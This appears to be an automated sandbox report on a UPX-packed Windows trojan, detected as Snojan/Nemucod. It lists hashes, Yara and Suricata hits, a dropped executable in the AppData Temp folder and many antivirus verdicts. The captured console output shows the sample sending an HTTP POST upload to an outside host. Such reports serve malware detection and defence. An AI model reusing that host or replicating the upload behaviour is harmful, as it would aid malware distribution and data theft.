Summary

File 5439c19a73d2a825fafd384946d89ba31f0afac48eff196c0d6a3f496e8f2261

Summary

Download Resubmit sample

Size	236.0KB
Type	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
MD5	69782603fc1284fc9a96cecc491828c8
SHA1	ae73b0716d276fae0a4d23add5004a036cad6feb
SHA256	5439c19a73d2a825fafd384946d89ba31f0afac48eff196c0d6a3f496e8f2261
SHA512	Show SHA512 44264a97ce9d9d37bfed96662f9710f411cc7fa353d8d5bb4b14b3fa1250c370b739840a78bb7ba3e94b4c5235e3a4a947c7f269c49970f4c05ab02facd7597d
CRC32	89D1ED32
ssdeep	None
Yara	UPX - (no description) suspicious_packer_section - The packer/protector section names/keywords network_tcp_listen - Listen for incoming communication network_tcp_socket - Communications over RAW socket network_dns - Communications use DNS

Score

Please notice: The scoring system is currently still in development and should be considered an alpha feature.

---

Autosubmit

6781818

Feedback

Expecting different results? Send us this analysis and we will inspect it. Click here

Information on Execution

Signatures

Yara rules detected for file (5 events)

description	(no description)				rule	UPX
description	The packer/protector section names/keywords				rule	suspicious_packer_section
description	Listen for incoming communication				rule	network_tcp_listen
description	Communications over RAW socket				rule	network_tcp_socket
description	Communications use DNS				rule	network_dns

Command line console output was observed (10 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleA July 25, 2025, 11:47 p.m.	buffer: ma num wa rifaien yanje v1.0 console_handle: 0x00000007	1	1	0
WriteConsoleA July 25, 2025, 11:47 p.m.	buffer: ma num wa gyen orn hyzik rifaien2-VHodu9Aqre17aeHl.exe en exec ween NODE1 console_handle: 0x00000007	1	1	0
WriteConsoleA July 25, 2025, 11:47 p.m.	buffer: P console_handle: 0x0000000b	1	1	0
WriteConsoleA July 25, 2025, 11:47 p.m.	buffer: OST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: */* Content-Length: 242084 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------1c66af207cc1e7ea console_handle: 0x0000000b	1	1	0
WriteConsoleA July 25, 2025, 11:47 p.m.	buffer: H console_handle: 0x0000000b	1	1	0
WriteConsoleA July 25, 2025, 11:47 p.m.	buffer: TTP/1.1 100 Continue console_handle: 0x0000000b	1	1	0
WriteConsoleA July 25, 2025, 11:47 p.m.	buffer: R console_handle: 0x0000000b	1	1	0
WriteConsoleA July 25, 2025, 11:47 p.m.	buffer: ecv failure: error console_handle: 0x0000000b	1	1	0
WriteConsoleA July 25, 2025, 11:47 p.m.	buffer: curl_easy_perform() failed: Error console_handle: 0x0000000b	1	1	0
WriteConsoleA July 25, 2025, 11:47 p.m.	buffer: ma au ga rre gyaje weel console_handle: 0x00000007	1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Creates executable files on the filesystem (1 event)

file	C:\Users\Administrator\AppData\Local\Temp\rifaien2-VHodu9Aqre17aeHl.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\Administrator\AppData\Local\Temp\rifaien2-VHodu9Aqre17aeHl.exe

The executable is compressed using UPX (3 events)

section	UPX0				description	Section name indicates UPX
section	UPX1				description	Section name indicates UPX
section	UPX2				description	Section name indicates UPX

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 4dfe977ec631ed7ab2a028bb20414cf79fe87a13

Raised Suricata alerts (2 events)

suricata	ETPRO MALWARE Win32/Snojan Variant Uploading EXE
suricata	ET INFO Generic HTTP EXE Upload Outbound

File has been identified by 11 AntiVirus engine on IRMA as malicious (11 events)

G Data Antivirus (Windows)	Virus: Trojan.Agent.CYZT (Engine A)
Avast Core Security (Linux)	Win32:Banker-LAA [Trj]
C4S ClamAV (Linux)	Win.Malware.Cymt-10023133-0
WithSecure (Linux)	Trojan.TR/Agent.qasng
eScan Antivirus (Linux)	Trojan.Agent.CYZT(DB)
ESET Security (Windows)	a variant of Win32/Agent.AAEF trojan
Sophos Anti-Virus (Linux)	Troj/Bdoor-BHD
ClamAV (Linux)	Win.Malware.Cymt-10023133-0
Bitdefender Antivirus (Linux)	Trojan.Agent.CYZT
Kaspersky Standard (Windows)	HEUR:Flooder.Win32.CoreWarrior.a
Emsisoft Commandline Scanner (Windows)	Trojan.Agent.CYZT (B)

File has been identified by 60 AntiVirus engines on VirusTotal as malicious (50 out of 60 events)

Bkav	W32.AIDetectMalware
Cynet	Malicious (score: 100)
CAT-QuickHeal	Trojan.GenericPMF.S33900397
Skyhigh	BehavesLike.Win32.NemucodDownloader.dt
ALYac	Trojan.Agent.CYZT
Cylance	Unsafe
VIPRE	Trojan.Agent.CYZT
Sangfor	Trojan.Win32.Save.a
CrowdStrike	win/malicious_confidence_100% (D)
BitDefender	Trojan.Agent.CYZT
K7GW	Trojan ( 004bcce41 )
K7AntiVirus	Trojan ( 004bcce41 )
Arcabit	Trojan.Agent.CYZT
VirIT	Trojan.Win32.AgentT.LM
Symantec	Trojan.Downloader!g2
Elastic	malicious (moderate confidence)
ESET-NOD32	a variant of Win32/Agent.AAEF
APEX	Malicious
Avast	Win32:Banker-LAA [Trj]
ClamAV	Win.Malware.Cymt-10023133-0
Kaspersky	HEUR:Flooder.Win32.CoreWarrior.a
NANO-Antivirus	Trojan.Win32.Snojan.jqzopm
MicroWorld-eScan	Trojan.Agent.CYZT
Rising	Trojan.Agent!1.B576 (CLASSIC)
Emsisoft	Trojan.Agent.CYZT (B)
F-Secure	Trojan.TR/Agent.qasng
DrWeb	Tool.Snojan.1
Zillya	Trojan.GenericKD.Win32.100891
McAfeeD	ti!5439C19A73D2
Trapmine	suspicious.low.ml.score
CTX	exe.trojan.cyzt
Sophos	Troj/Bdoor-BHD
SentinelOne	Static AI - Malicious PE
Jiangmin	Downloader.Snojan.adp
Webroot	W32.Malware.gen
Google	Detected
Avira	TR/Agent.qasng
Antiy-AVL	RiskWare[Downloader]/Win32.Snojan
Kingsoft	malware.kb.a.996
Gridinsoft	Trojan.Win32.Agent.oa!s1
Xcitium	TrojWare.Win32.Snojan.B@7h1cjp
Microsoft	TrojanDownloader:Win32/Nemucod
ZoneAlarm	Troj/Bdoor-BHD
GData	Trojan.Agent.CYZT
Varist	W32/Trojan.AHVI-3908
AhnLab-V3	Downloader/Win.Nemucod.R658392
VBA32	Flooder.CoreWarrior
DeepInstinct	MALICIOUS
Malwarebytes	Generic.Trojan.Malicious.DDS
Ikarus	Trojan.Agent

Screenshots